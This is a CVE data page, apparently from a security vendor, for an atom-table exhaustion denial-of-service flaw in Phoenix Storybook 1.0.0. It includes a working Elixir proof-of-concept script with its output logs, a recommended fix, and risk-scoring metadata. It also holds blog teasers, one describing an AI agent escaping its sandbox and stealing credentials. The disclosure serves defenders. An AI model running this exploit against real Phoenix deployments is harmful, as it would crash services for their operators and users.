[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"cve-CVE-2026-8469":3,"landing-articles":93},{"id":4,"cve_id":5,"euvd_id":6,"summary":7,"published":8,"cvss_data":9,"is_remote":10,"cwes":11,"cpes":13,"technologies":15,"references":17,"score":24,"epss_score":25,"epss_percentile":26,"is_kev":10,"cisa_kev_date_added":27,"cisa_kev_due_date":27,"cisa_ssvc":28,"attack_mappings":38,"exploits":91},10931,"CVE-2026-8469","EUVD-2026-31114","PhoenixStorybook: Unbounded atom creation from LiveView event params (atom-table DoS)\n\n### Summary\nAn attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.\n\nTabs parsing was introduced in https:\u002F\u002Fgithub.com\u002Fphenixdigital\u002Fphoenix_storybook\u002Fcommit\u002F0228669d55c23a754d1ef11f49a32121129d5395\n\n### Details\n`PhoenixStorybook.Story.Playground` and `PhoenixStorybook.ExtraAssignsHelpers` converts user-supplied event params into atoms without checking whether the atoms already exist:\n\n- `handle_set_variation_assign\u002F3` (`lib\u002Fphoenix_storybook\u002Fhelpers\u002Fextra_assigns_helpers.ex:59`) iterates the event params map and calls `String.to_atom\u002F1` on every key.\n- `handle_toggle_variation_assign\u002F3` (line 73) calls `String.to_atom\u002F1` on the `\"attr\"` value supplied by the client.\n- `to_variation_id\u002F2` (lines 90, 93) calls `String.to_atom\u002F1` on each element of `\"variation_id\"`.\n- `to_value\u002F4` (lines 106, 107) calls `String.to_atom\u002F1` on the raw string value for any attribute declared as `:atom` or `:boolean`.\n\nThe existing guards do not help: `check_type!\u002F3` for `:boolean` inspects the atom *after* `String.to_atom\u002F1` has already interned it, so the leak has already happened. The `:atom` branch only checks `is_atom\u002F1`, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.\n\nThe fix is to use `String.to_existing_atom\u002F1` (with a rescue that rejects unknown names) or, better, to look the attribute \u002F variation up in the declared `story.attributes()` \u002F variation registry and reuse the atom from there.\n\n### PoC\nThe attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver `psb-assign` events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign\u002F3` (see `lib\u002Fphoenix_storybook\u002Flive\u002Fstory\u002Fplayground_preview_live.ex`), so the script calls that helper directly with attacker-shaped params — a stub `FakeStory` providing an empty `attributes\u002F0` list and a single `:default` variation, plus an `extra_assigns` map keyed by `{:single, :default}`.\n\nEach simulated request is a params map with 5,000 unique keys of the form `\"psb_evil_\u003Cnonce>_\u003Cr>_\u003Ci>\"`. Because the helper does `for {key, value} \u003C- params, ..., do: {String.to_atom(key), ...}`, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into `:erlang.system_info(:atom_limit)` and crashes the VM.\n\nThe script measures `:erlang.system_info(:atom_count)` before and after, prints the delta and the atom limit, and prints `VERIFIED: …` when the delta is at least `requests * attrs_per_request` (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.\n\nThe full script is attached below under \"Scripts and Logs\".\n\n### Impact\nUnauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of `psb-assign` \u002F `psb-toggle` events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging\u002Fpreview environments or, by misconfiguration, in production.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)\n#\n# Run with:\n#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs\n#\n# Threat model: an outside attacker who can deliver `psb-assign` events to a\n# mounted storybook view supplies attacker-controlled param maps. The library's\n# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign\u002F3`\n# is the documented entry point that LiveView event handlers feed those params\n# into (see lib\u002Fphoenix_storybook\u002Flive\u002Fstory\u002Fplayground_preview_live.ex). The\n# helper interns every key of `params` with `String.to_atom\u002F1`, so unique\n# attacker strings each create a permanent atom.\n\nMix.install([{:phoenix_storybook, \"1.0.0\"}])\n\nalias PhoenixStorybook.ExtraAssignsHelpers\nalias PhoenixStorybook.Stories.Variation\n\ndefmodule FakeStory do\n  def attributes, do: []\n  def variations, do: [%Variation{id: :default, attributes: %{}}]\nend\n\nextra_assigns = %{{:single, :default} => %{}}\n\n# Each request from the attacker is one params map. Use 5_000 unique attribute\n# names per request, across 5 requests = 25_000 distinct atoms permanently\n# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)\nnonce = System.unique_integer([:positive])\nrequests = 5\nattrs_per_request = 5_000\n\nbefore_count = :erlang.system_info(:atom_count)\n\nfor r \u003C- 1..requests do\n  attacker_params =\n    for i \u003C- 1..attrs_per_request, into: %{\"variation_id\" => \"default\"} do\n      {\"psb_evil_#{nonce}_#{r}_#{i}\", \"x\"}\n    end\n\n  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)\nend\n\nafter_count = :erlang.system_info(:atom_count)\ndelta = after_count - before_count\n\nIO.puts(\"atom_count before: #{before_count}\")\nIO.puts(\"atom_count after:  #{after_count}\")\nIO.puts(\"delta:             #{delta}\")\nIO.puts(\"atom_limit:        #{:erlang.system_info(:atom_limit)}\")\n\nexpected = requests * attrs_per_request\n\nif delta >= expected do\n  IO.puts(\n    \"VERIFIED: handle_set_variation_assign\u002F3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})\")\nend\n\n```\n\n### Logs\n\n```logs\natom_count before: 26341\natom_count after:  51361\ndelta:             25020\natom_limit:        1048576\nVERIFIED: handle_set_variation_assign\u002F3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.\n```","2026-06-09T21:59:00Z",{},false,[12],"CWE-770",[14],"cpe:2.3:a:phoenix_storybook:phoenix_storybook:*:*:*:*:*:*:*:*",[16],"Phoenix_Storybook Phoenix Storybook",[18,19,20,21,22,23],"https:\u002F\u002Fcna.erlef.org\u002Fcves\u002FCVE-2026-8469.html","https:\u002F\u002Fgithub.com\u002Fphenixdigital\u002Fphoenix_storybook\u002Fcommit\u002F96d524690af0fe197a49f60d18e564a620b9ef81","https:\u002F\u002Fgithub.com\u002Fphenixdigital\u002Fphoenix_storybook\u002Fsecurity\u002Fadvisories\u002FGHSA-833p-95jq-929q","https:\u002F\u002Fosv.dev\u002Fvulnerability\u002FEEF-CVE-2026-8469","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-8469","https:\u002F\u002Fgithub.com\u002Fphenixdigital\u002Fphoenix_storybook",0,0.00537,0.44961,null,{"timestamp":29,"automatable":30,"tech_impact":31,"exploitation":32,"cisa_decision":33,"cisa_remediation_timeline":37},"2026-05-21T13:55:42.783019Z","yes","partial","poc",{"vector":34,"decision":35,"priority":36},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-25T18:34:17.164636\u002F","attend","medium","14D",[39,45,56,63,69,75,84],{"name":40,"source":41,"tactics":42,"technique_id":44},"Exploit Public-Facing Application","attack_vector",[43],"initial-access","T1190",{"name":46,"source":47,"cwe_ids":48,"tactics":49,"capec_ids":51,"technique_id":55},"Direct Network Flood","capec",[12],[50],"impact",[52,53,54],"CAPEC-125","CAPEC-482","CAPEC-528","T1498.001",{"name":57,"source":47,"cwe_ids":58,"tactics":59,"capec_ids":60,"technique_id":62},"Reflection Amplification",[12],[50],[61],"CAPEC-490","T1498.002",{"name":64,"source":47,"cwe_ids":65,"tactics":66,"capec_ids":67,"technique_id":68},"Endpoint Denial of Service",[12],[50],[52],"T1499",{"name":70,"source":47,"cwe_ids":71,"tactics":72,"capec_ids":73,"technique_id":74},"OS Exhaustion Flood",[12],[50],[53],"T1499.001",{"name":76,"source":47,"cwe_ids":77,"tactics":78,"capec_ids":79,"technique_id":83},"Service Exhaustion Flood",[12],[50],[80,53,81,82,54],"CAPEC-469","CAPEC-488","CAPEC-489","T1499.002",{"name":85,"source":47,"cwe_ids":86,"tactics":87,"capec_ids":88,"technique_id":90},"Application Exhaustion Flood",[12],[50],[89],"CAPEC-130","T1499.003",[92],{"link":20},{"count":94,"next":95,"previous":27,"results":96},30,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&sorted_by=-published_at",[97,104,112,120,127,134,141,146,153,160],{"id":94,"title":98,"summary":99,"published_at":100,"type":101,"link":102,"image_url":103},"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":105,"title":106,"summary":107,"published_at":108,"type":109,"link":110,"image_url":111},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":113,"title":114,"summary":115,"published_at":116,"type":117,"link":118,"image_url":119},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png",{"id":121,"title":122,"summary":123,"published_at":124,"type":109,"link":125,"image_url":126},27,"Exposure Management: definition, stakes, and how it works","Vulnerabilities, misconfigurations, poorly managed identities: understand what Exposure Management is and why it matters in 2026.","2026-09-10T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fdefinition-exposure-management","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F06170638a9-1789050834\u002Fexposure.management.definition.en.png",{"id":128,"title":129,"summary":130,"published_at":131,"type":117,"link":132,"image_url":133},26,"DGFiP Cyberattack 2026: Inside the Attacker","Two distinct attacks hit France","2026-08-17T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fdgfip-cyberattack-2026-inside-attacker-mind","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fdc38d33696-1787055371\u002Fdgfip-2026.png",{"id":135,"title":136,"summary":137,"published_at":138,"type":101,"link":139,"image_url":140},25,"CVE-2026-64638: XSS2Shell, a WordPress Login Vulnerability","Pre-auth XSS on wp-login.php, patched August 6. What is actually exploitable, and how to read it in your Patrowl report.","2026-08-10T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fxss2shell-critical-wordpress-login-vulnerability-2026","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F904e61748b-1786369212\u002Fxss2shell.png",{"id":142,"title":143,"summary":143,"published_at":138,"type":101,"link":144,"image_url":145},24,"CVE-2026-64638 : XSS2Shell, faille du login WordPress","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fcve-2026-64638-xss2shell-faille-login-wordpress","",{"id":147,"title":148,"summary":149,"published_at":150,"type":101,"link":151,"image_url":152},23,"How Agentic AI Hunts Down CVEs Before Attackers Do","38 vulnerability sources monitored around the clock, pentester-validated proof of exploitability, an alert within hours. See how it works.","2026-08-05T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fproactive-threat-hunting-agentic-ai-cve","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F804988ce7b-1785930160\u002Fproactive-threat-hunting-how-agentic-ai-tracks-cves.png",{"id":154,"title":155,"summary":156,"published_at":157,"type":117,"link":158,"image_url":159},22,"AI Agent Incident: OpenAI HuggingFace — Risks and Lessons","An autonomous AI agent escaped its sandbox via a JFrog Artifactory zero-day, compromised HuggingFace via privilege escalation and stolen credentials. Reconstructed timeline and security lessons.","2026-07-31T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fai-agent-incident-openai-huggingface-risks","[Image URL from Kirby]",{"id":161,"title":162,"summary":163,"published_at":164,"type":109,"link":165,"image_url":166},21,"SaaS Under Watch: What Your SDLC Doesn","Your pipeline is green. Your real exposure may have changed without you knowing it. The complete guide for software vendors.","2026-07-29T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fsecuring-saas-application-software-vendor","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F20d6ec0cd0-1785331401\u002Fapplication-security.png"]